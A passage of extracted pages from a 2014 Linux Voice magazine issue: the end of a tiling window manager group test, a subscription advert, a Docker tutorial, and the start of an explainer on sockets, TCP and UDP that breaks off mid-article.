                                                   User friendliness is a feature.
Make your WM work for your.

                                                   A
                                                           t first sight, the behaviour of all   configurability of hotkeys and tiling



T
         he Xmonad community has already                   our tiling window managers is the     schemes, and in what you can do with
         published thousands of lines of code              same: they all completely cover       their optional status bars.
         that you can use to customise it, from    your screen with windows, without any            Whatever WM you choose, do yourself
complex configuration files to third-party         decoration worth mentioning, and let you      a favour: before you even get started,
extensions and assorted hacks. The “Manage         do everything without even looking at your    change the default terminal to one of
Hooks” mechanism of Xmonad is widely used          mouse. The big differences are in the         those we recently reviewed in LV004.
to define actions to perform automatically on
certain windows when, for example, the
corresponding programs start.                      Bluetile
   Testing changes is easy: save the new code      Bluetile is not an independent WM done        ancestor, Bluetile starts up with a friendly
and type xmonad –recompile to check if it          from scratch, but is rather a version of      taskbar and window title bars with
works. If it does, type xmonad --restart or        Xmonad, tweaked and preconfigured             unusual but effective grid menus (see
press Alt+Q to load the new configuration.         especially for people without much time.      screenshot), and the taskbar has the only
   Bluetile is very closely related to Xmonad,     It’s also set up to integrate well in the     built-in “Quit” button you’ll see in this
but this doesn’t mean that it can reuse code or    traditional Gnome desktop.                    Group Test. Other buttons increase or
tricks developed for its ancestor. Unlike              This integration with a mainstream        decrease the number of windows in the
Xmonad, Bluetile doesn’t come with the             desktop environment is enough, in our         Bluetile master area. You can also move
capability to compile and load new code on         opinion, to make Bluetile quite different     windows or maximise any of them with
the spot.                                          from Xmonad. For example, unlike its          the mouse.
   Spectrwm partially supports the EWMH
(Extended Window Manager Hints) standard.
Programs like wmctrl can use it to control
whole workspaces or single windows. You can
write simple shell scripts, for example, that
move to a different workspace, resize or
maximise a specific Spectrwm window, as
                                                                                                                    Bluetile is the only WM in
soon as some condition occurs.                                                                                      this test that by default
   I3 and Herbstluftwm provide similar                                                                              gives windows a title bar
functionality, but in different ways. The i3-msg                                                                    with a pop-up, grid-like
utility understands the traditional IPC (Inter                                                                      menu.
Process Communication) protocol. Coupled
with i3-nagbar it can do almost anything.
   The herbstclient tool, by contrast, passes      Herbstluftwm
whatever command you give it from the              Herbstluftwm isn’t a random string, but       default terminal. To toggle between all
command line to Herbstluftwm. The actions          German for “Autumn Air”. Its default status   the available tiling schemes on the fly,
you can perform in this way include, but are       bar is the friendlier of the bunch:           press Alt+Space. Herbstluftwm is
not limited to, workspace reconfiguration and      workspace numbers and the name of the         configured by issuing commands with the
changing the style of the window borders.          active window on the left, date and time      herbstclient utility. This makes it possible,
   Another area in which you can play at will is   on the right. It is also easy to add gauges   in principle, to change the configuration
(dynamic) configuration of mouse focus. Both       and other graphic information with a          automatically, depending on the time of
Xmonad and i3, for example, have settings          custom panel. The main shortcut to            the day, system load or any other event
dedicated to define whether the focus should       remember is Alt+Enter, which opens the        that can trigger a script.
follow the mouse or not. Disabling this
behaviour even temporarily is very useful if you
don’t want to find yourself suddenly typing in
another window of your laptop because you
brushed its touchpad by mistake.

 VERDICT
 Bluetile
 Herbstluftwm
 i3                                                                                                             Well done status bar, sensible
 Spectrwm
 Xmonad                                                                                                         tiling algorithm. The only really
                                                                                                                difficult part of Herbstluftwm
                                                                                                                is its name.



56                                                        www.linuxvoice.com
                                                                            TILING WINDOW MANAGERS GROUP TEST

i3
I3 is primarily designed for “advanced
users and developers”. Working in i3 is
                                               just grab and drag the borders of a
                                               window with your mouse to resize them.          Accessories
also meant to be similar to using the Vi         The status bar is almost invisible with
text editor: many keybindings are similar,     the default settings, even for a WM that’s      We all like extras.
and there is a mode to resize windows          supposed to be frugal with pixels. You can



                                                                                               U
independent from normal operations. In         change the workspace names from                            sing the whole screen is all good, but
spite of that, this is a WM in which you can   numbers to anything you want.                              sooner or later you’ll probably start
                                                                                                          longing for some status info. Or
                                                                                               maybe you think that you would switch to a
                                                                                               tiling WM, if only it had menus and launchers.
                                                                                                   Don’t worry. There’s no need to give up these
                                                                                               niceties in order to use a tiling WM. It is
                                                                                               necessary, however, to install and configure
                                                             It’s hard to see it from this
                                                             screenshot, but i3 provides       some extra tools manually, in the good old
                                                             both a status bar with            Unix and X-Window tradition. The dzen2 utility,
                                                             workspace buttons, and title      for example, adds a spartan, but effective
                                                             bars for each window.             status bar with customisable icons.
                                                                                                   Other common tools that you can bind to
                                                                                               dedicated hotkeys are scrot, for screenshots,
Spectrwm                                                                                       and xlock for locking the screen. The feh
Spectrwm (originally named “Scrotwm”!),        pretty fast and relatively easy to use. We      program can add wallpapers.
was created “by hackers, for hackers”, with    couldn’t figure out why, but on the Fedora          Recipes in the Xmonad documentation and
ports for Windows and Mac OS X                 20 test box used for this Group Test the        FAQ explain how to add system trays such as
developed to “make those systems useful        Alt+Shift+Enter combination did not start       trayer, or clipboards like parcellite. Then
for Unix people”. Talk about attitude!         a terminal as the man page says. Thanks         there’s dmenu, an application launcher that
  The interface consists of an adequate        to the integration with the dmenu               would work in any of our WMs. Once you have
status bar on the top, complete with           launcher, bound to Alt+P, we had three          installed it, press Alt+P to launch it, type the
workspace numbers (or names), and is           terminals open in a beat.                       first letters of the program you want to start
                                                                                               and press Enter.
                                                                                                   While Xmonad comes out on top in this
                                                                                               category, the other WMs aren’t far behind.
                                                                                               Spectrewm, for example, can get the content
                                                                                               of its status bar from any program associated
                                                                                               with its bar_action option. A very powerful
                                                                                               choice, reusable also as input for xmobar, is
                                                             The stacking (on the right)       the Conky system monitor: start it in text
                                                             and master areas of               mode, setting out_to_x no and out_to_console
                                                             Spectrwm.                         yes, and it will send any system data it is able
                                                                                               to collect to the status bar of your WM.

Xmonad
Xmonad has a really bare look – if you can       Looks aside, Xmonad can do, or at least
call the absence of practically any visual     emulate in some way, practically
element in its default configuration a look.   everything you are used to do in more
Don’t let that fool you though. Xmonad is      popular WMs. The lack of a real button or
like Emacs: both programs can be               hot key to minimise a window, for
customised in endless ways. It is possible     example, is compensated by the
to decorate windows, and easy to make          possibility to send the same window to a
them float.                                    separate workspace.


                                                                                               Xmonad status bars (the yellow stripe split in two
                                                                                               for convenience) can contain any data you want.

                                                                                                VERDICT
                                                             Xmonad really exploits             Bluetile
                                                             every pixel you give it – no       Herbstluftwm
                                                             default status bar, no buttons,    i3
                                                                                                Spectrwm
                                                             nothing. However, that’s still     Xmonad
                                                             not enough to make certain
                                                             websites readable when tiled.



                                                            www.linuxvoice.com                                                                  57
     GROUP TEST TILING WINDOW MANAGERS


Desktop integration
Keep the rest of the desktop happy.


W
            e’re referring to integration   example, to make sessions start with
            with the so-called display      the right mix of applications, you are
            managers, and with modern       supposed to play with .xsession files
desktops in general. For example,           and similar stuff. This isn’t rocket
unless you know what you were doing,        science by any means, but it’s probably
you might get to the end of your first      unknown territory for everybody who
session in a tiling window manager and      started using Linux less than a few
wonder how to get out of it (many of us     years ago.
had this same sensation the first time         Bluetile is the best from this point of
we tried Gnome 3).                          view, since you don’t need a dedicated       Telling Gnome (or KDE) to start a tiling WM is easy, and
   Of course, there are keyboard            login to use it. This program is             makes it fit in better with the rest of the desktop.
shortcuts for this in all the window        specifically designed to integrate with
managers we’re looking at here.             Gnome. You can log in as usual, and                          sessions list of your display manager.
However, depending on what distro and                                                                    Otherwise, depending on your
WM you’re running, the next user may
end up staring at a black screen,           “You will probably need to                                   distribution, you will have to edit one or
                                                                                                         more of the files called .session, .xinitrc
instead of the normal display Manager,      do a bit of extra work keep                                  and .gnomerc in your home directory,

                                            novice users happy.”
and your programs may want to                                                                            as explained in the relevant
“restore from crash” at your next login.                                                                 documentation of each WM. Rumour
   The bottom line: to run a tiling WM on                                                                has it that it’s faster to edit the
a computer shared with Linux novices        then start it from a terminal. To start it                   .gnomerc file, but we couldn’t verify it in
who won’t accept anything different         automatically, launch the gnome-                             our tests.
than a vanilla login screen, you will       session-properties tool, and add
probably need to do a bit of extra work     Bluetile to the list of start-up apps.                         VERDICT
to make them happy.                           If the binary package of a WM                                Bluetile
                                                                                                           Herbstluftwm
   The reason is that tiling WMs often      includes a .desktop configuration file                         i3
                                                                                                           Spectrwm
deal with these issues according to the     (as those for Fedora 20 do) it should                          Xmonad
Linux standard from 10 years ago. For       show up without such tricks in the




Documentation
Ask and it shall be given, seek and ye shall find…


W
            ith programs like these, the    There’s even a “How to write a config
            first and possibly the only     file” page, which gives instructions on
            two pieces of                   how to test new configurations. The
documentation you may need are,             official FAQ and wiki are great too. The
without question, a cheatsheet with all     official blog and Twitter account are        Cheatsheets are an absolute must when using a tiling WM.
the available hot keys, and the             dead, but the mailing list, Reddit group
instructions to remap those keys to         and IRC channel (#xmonad at irc.
whatever you prefer. There’s a good, if     freenode.net) are active.                                    Luckily, a great tutorial on the Arch
incomplete cheatsheet with the main            The homepage of Bluetile offers just                      Linux wiki (https://wiki.archlinux.org/
default bindings for Xmonad shown in        a list of the most used hotkeys. That                        index.php/spectrwm) fills this void. The
the screenshot, which you can               isn’t a problem, as you can reuse most                       two man pages for Herbstluftwm and
download at www.haskell.org/                of the XMonad resources to learn how                         its valet application, herbstclient,
haskellwiki/File:Xmbindings.png.            to use and configure Bluetile.                               remain the primary sources of
  Xmonad also has the most                     After the Xmonad/Bluetile pair, the                       information for this WM.
documentation and online support. The       best documentation is that of i3: much
mandatory starting point is the official    less than that for the Haskell duo, but                        VERDICT
Guided Tour (http://xmonad.org/tour.        more than enough to explain everything                         Bluetile
                                                                                                           Herbstluftwm
html). In addition to that, the website     you may need. The Spectrwm man                                 i3
                                                                                                           Spectrwm
offers many links to guides for pretty      page is good, but is pretty much the                           Xmonad
much anything you may think of.             only official documentation there is.



58                                                            www.linuxvoice.com
                                                                                  TILING WINDOW MANAGERS GROUP TEST




  OUR VERDICT
Tiling window managers
W
             e said it right at the        monitor, before deciding that tiling        You can easily complement the Xmonad status bar with a system
             beginning: a window           is not for you.                             tray for icons and notifiers of any kind.
             manager forces you to            Herbstluftwm is a worthy effort,
reconsider how you use your
computer. Therefore, in a Group
                                           but not really ahead of the
                                           competition in any field. The same
                                                                                        1st Xmonad
                                                                                        Licence BSD Version 0.11
Test like this, feature lists matter       could be said for Spectrwm. Bluetile
less than helping you to ask               is good, but, in our opinion, only           http://xmonad.org
yourself the right questions. Can          because it is a (very well done)             The current version of Xmonad is some years old, but that’s only
you be more productive with                Xmonad showcase.                             because the code is completely mature.
nothing to click on, and windows              We like i3 a lot. It’s simple, well
that keep resizing themselves to           designed and documented, and                 2nd i3
completely hide that wonderful             accessories like the nagbar and              Licence BSD Version 4.7.2
wallpaper of your last holiday?            i3-msg are very powerful.
   First, a warning: the first time that      Xmonad has been defined by its            http://i3wm.org
you’re reading a web page and click        developers as more of a “library for         I3 is a good match between completeness, ease of use, and
on “Open Link In New Window”               writing tiling WMs” than an actual,          very powerful tools to extend it.


“Can you really be more productive with                                                 3rd Spectrwm
windows that keep resizing themselves?”
                                                                                        Licence ISC Version 2.5.0

                                                                                        http://spectrwm.org
                                                                                        It may take a bit more time to make it work just like you need,
you’ll find that the page you were         finished product, and we tend to
                                                                                        but the “quirks” and other features of Spectrwm can do a lot.
just reading suddenly gets four            agree. You can and should build
times smaller and flies to another         yourself your perfect tiling WM with
part of the screen. You may find           the components that Xmonad                   4th Herbstluftwm
this a little annoying. What’s more,       provides. Yes, we know: Haskell              Licence BSD Version 0.6.2
several popular websites become            looks like some ancient scroll
                                                                                        http://spectrwm.org
completely unusable if the browser         straight from Atlantis but… do you
                                                                                        A great tool, and dynamically reconfigurable with easy shell
window is too narrow. To use such          really care? With so many ready              scripts – it just needs more documentation.
sites in a tiling WM (without having       configuration files online, and its
to zoom out so much that it makes          active community, you just need to
your eyes hurt), you must learn to         ask politely to find out what code
                                                                                        5th Bluetile
make the browser window float, at          (or lines in a configuration file) you       Licence BSD Version 0.6
least temporarily.                         need to copy and paste to get                http://bluetile.org
   So, be patient! Schedule at least a     Xmonad working right for you.                Bluetile comes in last only because we wanted to put
couple of hours to practise, with a           So Xmonad it is – but you may             completely independent projects first – it’s still a great WM!
printed cheatsheet right beside your       wish to practise with Bluetile first…




  YOU MAY ALSO WISH TO TRY…
  If you’ve been bitten by the tiling bug you’ll     for volume control and clipboard, email              compiler and know how to start it. Alopex and
  find plenty out there to try. Bspwm, for           notification and supports autohiding widgets.        Monsterwm have the same requirement.
  example, does things the old Unix way: it             The common ancestor and inspiration for              Want more? Point your favourite browser
  doesn’t do much by itself, but you can glue it     all the current tiling managers for Linux is         to the tiling window manager comparison
  together with a few small utilities to make it     called Dwm, which is still around. Its main          table at the fantastic Arch Linux wiki
  do what you want. Besides, it can split any        disadvantage is that you have to recompile it        (https://wiki.archlinux.org/index.php/
  window in two whenever you feel like it. Then      to make it load changes in configuration. This       Comparison_of_Tiling_Window_
  there is Awesome, which has ready shortcuts        isn’t really a big deal, but you need to install a   Managers#Comparison_table).




                                                                 www.linuxvoice.com                                                                        59
     SUBSCRIBE




SUBSCRIBE              shop.linuxvoice.com
                                                                          Introducing Linux Voice,
                                                                          the magazine that:
                                                                            Gives 50% of its profits
                                                                          back to Free Software
                                                                            Licenses its content
                                                                          CC-BY-SA within 9 months

                                                                          12-month subs prices
                                                                          UK – £55
                                                                          Europe – £85
                                                                          US/Canada – £95
                                                                          ROW – £99

                                                                          7-month subs prices                                 DIGITAL
                                                                          UK – £38                                            SUBSCRIPTION
                                                                          Europe – £53
                                                                          US/Canada – £57
                                                                                                                              ONLY £38
                                                                          ROW – £60


         Get 114 pages                                      Access our                                            Save money on
          of tutorials,                                   rapidly growing                                          the shop price
      features, interviews                             back-issues archive                                       and get each issue
          and reviews                                  – all DRM-free and                                           delivered to
          every month                                   ready to download                                            your door.

                 Payment is in Pounds Sterling. 12-month subscribers will receive 12 issues of Linux Voice a year. 7-month
              subscribers will receive 7 issue of Linux Voice. If you are dissatisfied in any way you can write to us to cancel your
                        subscription at subscriptions@linuxvoice.com and we will refund you for all unmailed issues.



60                                                          www.linuxvoice.com
                                                                                                                                               NEXT MONTH



                                 NEXT MONTH IN



                                                                                                                            EVEN MORE AWESOME!
ON SALE
THURSDAY                                                                                                                                          Old Code
                                                                                      Image credit: ArtMechanic, CC-BY-SA
28 AUGUST                                                                                                                                         What kind of chap
                                                                                                                                                  invents a
                                                                                                                                                  programming
                                                                                                                                                  language before
                                                                                                                                                  there are machines
                                                                                                                                                  to run it? German
                                                                                                                                                  Genius Konrad Zuse,
                                                                                                                                                  that’s who.

                                                                                                                                                  USB drivers
                                                                                                                                                  Reverse engineer
                                                                                                                                                  your own Linux
                                                                                                                                                  drivers and use
                                                                                                                                                  Linux to control
                                                                                                                                                  everyday devices.
                                                                                                                                                  This is why we love
                                                                                                                                                  playing with
                                                                                                                                                  Free Software!

                                                                                                                                                  Open data

BEST DISTRO 2014                                                                                                                                  Tap into the UK
                                                                                                                                                  government’s huge
                                                                                                                                                  store of data, then
There’s a flavour of Linux out there for every                                                                                                    add a dollop of
user – find your new favourite (or see how                                                                                                        Python and do
                                                                                                                                                  something useful
much an old one has changed) with our                                                                                                             with it.
ultimate Linux distro showdown.


       LINUX VOICE IS BROUGHT TO YOU BY
Editor Graham Morrison           Editorial consultant Nick Veitch                through the use of advice in this magazine.        Copyright Linux is a trademark of Linus
graham@linuxvoice.com            nick@linuxvoice.com                             Experiment with Linux at your own risk!            Torvalds, and is used with permission.
Deputy editor Andrew Gregory                                                     Distributed by Marketforce (UK) Ltd, Blue          Anything in this magazine may not be
andrew@linuxvoice.com            All code printed in this magazine is licensed   Fin Building, 110 Southwark Street, London,        reproduced without permission of the editor,
Technical editor Ben Everard     under the GNU GPLv3                             SE1 0SU                                            until April 2015, when all content (including
ben@linuxvoice.com                                                               Tel: +44 (0) 20 3148 3300                          images) is re-licensed CC-BY-SA.
Editor at large Mike Saunders    Printed in the UK by                                                                               ©Linux Voice Ltd 2014
mike@linuxvoice.com              Acorn Web Offset Ltd                            Circulation Marketing by Intermedia Brand          ISSN 2054-3778
Creative director Stacey Black                                                   Marketing Ltd, registered office North Quay
stacey@linuxvoice.com            Disclaimer We accept no liability for any       House, Sutton Harbour, Plymouth PL4 0RA            Subscribe: shop.linuxvoice.com
                                 loss of data or damage to your hardware         Tel: 01737 852166                                  subscriptions@linuxvoice.com

                                                                    www.linuxvoice.com
     CLOUDADMIN




CLOUDADMIN
Nick Veitch has a whale of a time with containers

Docker
Virtualisation, fixed. That’s the premise of containers in general and Docker in particular.


T
         o get a better idea of what Docker is
         and how it can be of use to you, it is
         easier to start with the problems
that Docker was created to solve. The
project’s logo of a whale as a container ship
lays it out somewhat – Docker is
containerisation, which as far as possible
tries to be at once as generic as possible (so
you can put whatever you want in your
container) and as efficient as possible (so
you don’t need to put absolutely everything
in your container).
   As we saw in LV003 (you missed it?
really? You can subscribe you know, so we
never have to have this conversation again)
there are great benefits to containers over
VMs (see the boxout, right). LXC, or Linux
Containers, is far and away the best
implementation of such a system on Linux,
and recently reached a stable 1.0 milestone.
Aside from being wildly useful for                Hurrah for Ubuntu! Other versions of Linux are available, honest
development work in general, LXC is also the
technology underlying Docker.                     versions and such. It also means you can             containers. You may want to imagine
   If LXC is so great at containers, you may      suck down new versions of a container from           Docker as a sort of portable, version-
be wondering why you need Docker. Well, of        upstream (which includes only the deltas, so         controlled build system.
course, you don’t need it just to use             no huge files) if you are building on top of           But let’s not waste time – let’s see how we
containerisation. However, for the specific       someone else’s work.                                 can get it to work for us.
use case of developing and deploying                 N Stacking Docker intelligently ‘stacks’
applications, Docker adds several very            components, and re-uses them where                   Docker
helpful features on top of LXC:                   possible. For example, you could build an            1 Install docker

   Versioning Docker includes version-            application on top of Apache and Ubuntu,             Find out if packages are available for your
control capabilities for tracking different       which could contain three separate                   distro or grab the source code (this is a bit
revisions of a container, and doing all the       components, but if you changed only the              messy, as it’s written in Go) from the
usual cool stuff such as generating diffs         application, the other two stacked                   website. For Ubuntu (Trusty) you can just:
between revisions, rolling back to previous       components would remain the same. This                 apt-get install docker.io
                                                  makes for smaller bits to transfer around,              On some distros (like Ubuntu) the
                                                  and also saves resources if you are creating/        command and package are known as
  Sudo or not sudo                                deploying similar things.                            docker.io to avoid confusion with the
  Newer versions of Docker use sockets to            N Sharing There is a public registry              existing KDE docker applet (in which case,
  handle networking, which means on many          (http://index.docker.io ) of containers              use docker.io instead of docker in the
  Linux variants, having to use sudo to run       already created by others, so you don’t have         following steps). You may also need to use
  Docker commands. You can get around this
                                                  to do everything from scratch all the time.          sudo to run the docker command (see box)
  by creating a group for Docker and giving
                                                  N Integration Docker provides an API, which           2 Fetch some images
  it the necessary privileges – check out the
  Docker page for more info                       means that other tools, particularly devops          As mentioned before, there is a collaborative
                                                  tools, can easily interact with your                 index of images, and also some official



62                                                             www.linuxvoice.com
                                                                                                                                     CLOUDADMIN


images for things you might want to use.
You can ‘pull’ these images to download
them locally for use:
  docker pull ubuntu
  This will fetch a bunch of Ubuntu images.
You can see what you have by running:
  docker images
   This will return a list of image tags, their ID
and some other useful info. The tags make it
easier to tell what images you have, but the
ID number is important. This is a generated
UUID that you will be able to use to identify
versions (like in GitHub).
 3 Run an image

To run something in a container, we use the
syntax:
 docker run <image id> <command>
the image ID you give can usually just be the
first five characters – enough to distinguish
it from the others. For example, the ID for the
‘trusty’ image we downloaded might be                Building a Docker file doesn’t take long, but the results can last a lifetime. Probably.
99ec81b80c55, but I could run:
  docker run 99ec cat /etc/lsb-release               storage is now different. If I were to run              create a Docker file like this
Which would fire up the container and run            docker ps -l now, it would give me a different          FROM evilnick/vim
the command. The output in this case would           ID for my image, as well as telling me the
tell me what version of Ubuntu I was running.        last command I ran. If I want to permanently            RUN apt-get update
   You will notice that containers are process       keep this image, I would commit these                   RUN apt-get install -y apache2
driven. The command ran, there was output            changes to a local repository like so:
and then it returned, so the container                 docker commit 079e13 evilnick:vim                     ENV APACHE_RUN_USER www-data
stopped running. We will see how to keep                 Now the Vim image is stored in my                   ENV APACHE_RUN_GROUP www-data
them running in a bit, but let’s talk about          repository and I can run that any time I like.
versioning first. Try this:                           4 Buildadockerfile                                 EXPOSE 80
  docker run 99ec apt-get install -y vim             As well as running commands as instances,                  These commands are pretty self-
   This installs Vim (unreasonably absent            you can make a “Docker file” which is simply            explanatory. The FROM specifies a source
from the minimal image) onto the container.          a recipe for things for the container to do. If I       image. The lines that begin with RUN
the -y switch, by the way, stops it from             wanted to install the Apache 2 server on the            execute those commands. The ENV
asking silly questions. So, the persistent           image I just created, for example, I might              directive causes environmental variables to
                                                                                                             be set in the container. EXPOSE tells docker
  Containers vs VMs                                                                                          that port 80 should be opened on the
                                                                                                             container (this will be mapped to a random
  For longer than you think, people have             the most pervasive annoyance of VMs is that             port on the host). To build this I run:
  worried about consistency in platforms and         you need a complete OS image for them to                sudo docker build -t ‘evilnick:vim-apache’ .
  about getting software to run reliably on an       run – if you want to ship or store your                 5 Run containers
  underlying platform that it wasn’t written         software pre-loaded in a VM, you have to
                                                                                                             To run a container interactively, you just
  specifically to work on. In fact, that is how      store everything else too.
  Virtual Machines came to be invented, not             Containers, on the other hand, view the              need to pass a few extra flags to Docker:
  just because it was cool to fool your laptop       problem differently. For shipping, testing and            docker run -t -i 992e7 /bin/bash
  into thinking it was a Macbook. IBM invented       running software applications, the                         This will run Bash on the container, and
  the idea of the modern VM back in the 60s as       application is the only thing that needs to be          stay connected until you exit. You can use
  a way to test improvements to their hardware       in its own place (as long as the other parts            this shell to make further changes to your
  and OS, a legacy that lives on in their highly     can be standardised). Container systems                 container if you like.
  effective z/VM OS for mainframes.                  such as LXC (which is used by Docker)
     A VM though requires overheads. Most            separate out the bits you need to be separate           Going further
  implementations on Linux require processors        (the application’s view of where it is running)         There is of course much more you can do
  designed specifically to support                   while retaining as much of the underlying
                                                                                                             with containers – we have just outlined the
  virtualisation. They also require dedicated        system as possible (the kernel, resources
                                                                                                             basic mechanics here. Fortunately, there is a
  resources – you have to allocate things like       and such).The disadvantage of containers?
  disk space and memory to a VM, and if your         You can’t run a completely different OS, and            great deal of good documentation on the
  solution requires other specific hardware,         the shared resources mean that multiple                 Docker website. I heartily recommend the
  you need to virtualise that too. Perhaps still     containers can end up fighting over them.               interactive tutorial on building Docker files
                                                                                                             – www.docker.com/tryit/.



                                                                  www.linuxvoice.com                                                                        63
      CORETECHNOLOGY




                                  CORE
A veteran Unix and Linux
enthusiast, Chris Brown has
written and delivered open
source training from New Delhi
to San Francisco, though not on
                                  TECHNOLOGY
the same day.                     Dive under the skin of your Linux system to find out what really makes it tick.

Sockets, UDP and TCP
This month, we’ll get plugged in with sockets, which span the world.


T
          he term “sockets” refers to an API (a         Successive datagrams sent over a wide-                Barney Rubble at Bedrock. Each and every
          set of library routines) that enables         area network may get routed differently and           letter I send to him has to have Barney’s
          us to write clients and servers that          arrive in the wrong order.                            address on the envelope; based on that
communicate with the TCP and UDP                          The TCP and UDP protocols lie on top of             information alone the letter is routed
protocols. A socket is sometimes described              IP and are of more direct interest to us if           through the postal system and delivered. I
as a communication endpoint; it’s where the             we’re writing socket-based programs.                  don’t get notification of delivery; I don’t even
transport provider (the TCP or UDP layer)                                                                     get notification of non-delivery.
and the application programs meet.                      UDP                                                      Every datagram sent by a program has to
   Let’s talk first about the underlying IP             UDP stands for User Datagram Protocol and             have a destination address (an IP address
layer. IP (Internet Protocol) has the                   is the simpler of the two. In fact it adds very       and port number) specified. When a
important job of delivering a datagram to the           little on top of IP except for the concept of a       program transmits a UDP datagram there is
correct recipient machine (based on its IP              port number (a 16-bit value) that enables             no guarantee that it will arrive and no
address). The IP layer handles all the routing          datagrams to be sent to a specific endpoint           notification if it doesn’t. UDP simply inherits
decisions. However, IP does not offer                   (effectively, to a specific application or            the Internet Protocol’s failure of not
guaranteed delivery. If a packet goes                   service) on the destination machine.                  guaranteeing to deliver the datagrams or get
missing, it just goes missing; there’s no                   UDP sockets provide a “connectionless”            them in the right order. Of course, if the
mechanism to automatically re-send it. Also,            communication model, and sometimes                    communication is taking place within a local
there’s no guarantee that the packets will              they’re compared to the postal service.               network it’s difficult to see how datagrams
arrive in the same order they were sent.                Suppose I’m in regular postal contact with            might become mis-ordered; nonetheless,
                                                                                                              UDP makes no guarantees about delivery
                   Client                                             Server                                  order. It is sometimes known (unfairly) as
                                                                                                              the “Unreliable Datagram Protocol”.

          Client                                    Upper case              SSH            Web                Information exchange
        application                                   server               server         server              For many UDP-based services the lack of a
                                                                                                              “first sent, first received” guarantee isn’t an
                                                                                                              issue. Take DNS for example: it listens on
         37161                                          1067                22               80               UDP port 53, receives a lookup request, and
                                                                                                              sends a reply. Next request, next reply. There
                    Arbitrarily assigned                                                                      is never a sequence of datagrams that form
                      ephemeral port               Well-known                                                 part of the same interaction.
                                                      port                                                        Other UDP-based services handle things
                                                                                                              differently. For example, the Trivial File
                                                                                                              Transfer Protocol (TFTP) (which does use a
IP address                                                                           IP address               sequence of datagrams that form part of
192.168.1.17                                                                         192.168.1.54             the same interaction), solves the problem by
                                            Network                                                           having every datagram explicitly
                                                                                                              acknowledged within the application layer,
                                                                                                              so that the whole thing stays in lock-step.
Clients use arbitrary “ephemeral” ports, server bind “well-known” ports. The tuple {client port, client IP,       Now let’s look at TCP (Transmission
server port, server IP} identifies a TCP connection                                                           Control Protocol). Like UDP, it’s also layered



64                                                                    www.linuxvoice.com
                                                                                                                                    CORETECHNOLOGY


  Try It Out – Build and test the upper-case server
  You can easily build this server. Either type the code   Now open a new terminal window and verify that           $ nc localhost 1067
  in, or grab it from our magazine landing page on         the server is listening on the expected port:            Hello World
  www.linuxvoice.com.                                      $ lsof -i TCP:1067                                       HELLO WORLD
      Put it into a file called ucserver.c. Next, ensure   COMMAND PID USER FD TYPE DEVICE SIZE/OFF                 This is a test
  you’ve got the gcc compiler installed. On Ubuntu,        NODE NAME                                                THIS IS A TEST
  for example it’s installed simply as:                    ucserver 12575 chris 3u IPv4 272606 0t0 TCP              ^D
  $ sudo apt-get install gcc                               *:1067 (LISTEN)                                             Success! Not the world’s most exciting service
    Now build your executable:                                 We can use netcat (also know as nc) as a handy       I grant you. But what do you expect for 40 lines of
  $ gcc ucserver.c -o ucserver                             client program to test our server by telling it to       code? You can also run the test “non-interactively”
     Assuming it compiles without errors, run it in the    connect to port 1067. All nc is doing is connecting      by piping into nc like this:
  foreground:                                              to the port and ferrying lines of text back and forth,   $ echo “Hello World” | nc localhost 1067
  ./ucserver                                               like this:                                               HELLO WORLD



over IP, and like UDP it adds the notion of                simultaneously. A UDP-based service such                 commonly, TCP servers use a process-per-
port numbers to identify a specific endpoint.              as TFTP is basically holding out a bucket                client or thread-per-client model to achieve
But TCP is considerably more complicated,                  labelled “Port 69”. Any client can lob a                 concurrency when serving multiple clients.
offering a reliable, sequenced, connection-                datagram into the bucket, and in general the                I’m going to inflict some C code on you to
oriented service.                                          server will find itself fishing datagrams out            show how sockets really work. Our example
   Sometimes people refer to TCP as a                      of the bucket from various clients in some               is a simple TCP-based server; the “service” is
“guaranteed” delivery service, but we should               arbitrarily interleaved order. Usually, a                simply to convert any text received by the
be clear what is meant by that. If you unplug              UDP-based server is single-threaded, with                client to upper case, and send it back.
the network cable from your server, TCP                    the thread looping round on the request to                  Here’s the code. (The lines numbers are
won’t guarantee to deliver packets to it, nor              “get the next datagram from the bucket”.                 just for reference; they aren’t part of the file)
can you write in and ask for your money                    TCP-based services are different; each                    1   #include <stdio.h>
back when it fails. The reliability of a TCP               accepted connection results in a new file                 2   #include <netinet/in.h>
connection results from a process of                       descriptor. In the simplest case, a server                3
“positive acknowledgement with re-                         might complete its dialog with one client                 4   #define SERVER_PORT 1067
transmission” – essentially, senders expect                before accepting a connection from the                    5   #define BUFSIZE 100
a confirmation of receipt of the segments of               next, but this will keep subsequent clients               6
data they transmit, and will re-send them if               waiting if a client has opened the connection             7   /* ------ service() ------- */
they don’t get one.                                        and then gone for a cup of tea. More                      8
   The main thing we need to understand is
the connection-oriented nature of the
                                                             Client and server ends in a TCP connection
service, and a common analogy is with a
telephone call. Edward Bear wants to call                                    Server operations
Maisie Bear to invite her to a picnic. He
provides addressing information “up front”                                          Create
when he dials Maisie’s phone number                                                 socket
(analogous to specifying an IP address and
a port number when establishing a TCP
                                                                              Bind a port number
connection) and Maisie needs to answer the
                                                                                 to the socket
phone (accept the connection) but from                                                                                                       Client operations
then on they have the illusion of a piece of
copper wire connecting their phones. In my                                     Tell TCP to listen                                                   Create
analogy, the client and server have a file                                     for connections                                                      socket
descriptor referencing the connection.
Edward and Maisie simply speak into the                                             Accept
phone. Maisie doesn’t need to repeatedly tell                                     connection                                                   Connect to server
the telephone company “please deliver this
sentence to Edward Bear”, there is a
connection and they simply speak on the                                              Read                                                            Write
phone. In my analogy, the client and server
simply read and write on their file descriptor.
                                                                                     Write                                                            Read
Design choices
The choice of UDP or TCP protocols has a
fundamental effect on the way in which
                                                                               Close connection                                                Close connection
services are written, particularly if they want
to be able to service multiple clients



                                                                         www.linuxvoice.com                                                                               65
     CORETECHNOLOGY

                                                                                                              address and a port number) and a SOCK_
                                                                                                              STREAM transport (which means we want
                                                                                                              TCP not UDP). Lines 29–32 bind our socket
                                                                                                              to port 1067 (as defined by SERVER_PORT
                                                                                                              up at line 4); the mysterious constant
                                                                                                              INADDR_ANY that appears here means that
                                                                                                              we’re willing to listen for connections on any
                                                                                                              of our server’s network interfaces. If the
                                                                                                              machine has only one interface this isn’t
                                                                                                              really an issue, but if a machine has, say, an
                                                                                                              inward-facing connection and an internet-
                                                                                                              facing connection, you could choose to
                                                                                                              accept connections on only one of them.

                                                                                                              Choose your socket
                                                                                                              At line 34 we tell the system that we want to
                                                                                                              accept connections on this socket;
                                                                                                              specifically we set up a queue (of length 5)
                                                                                                              for incoming connection requests. Then at
Even teddy bears have a choice between connectionless and connection-oriented protocols.                      line 35 we enter our service loop. Line 37 will
                                                                                                              block until a client comes along to connect;
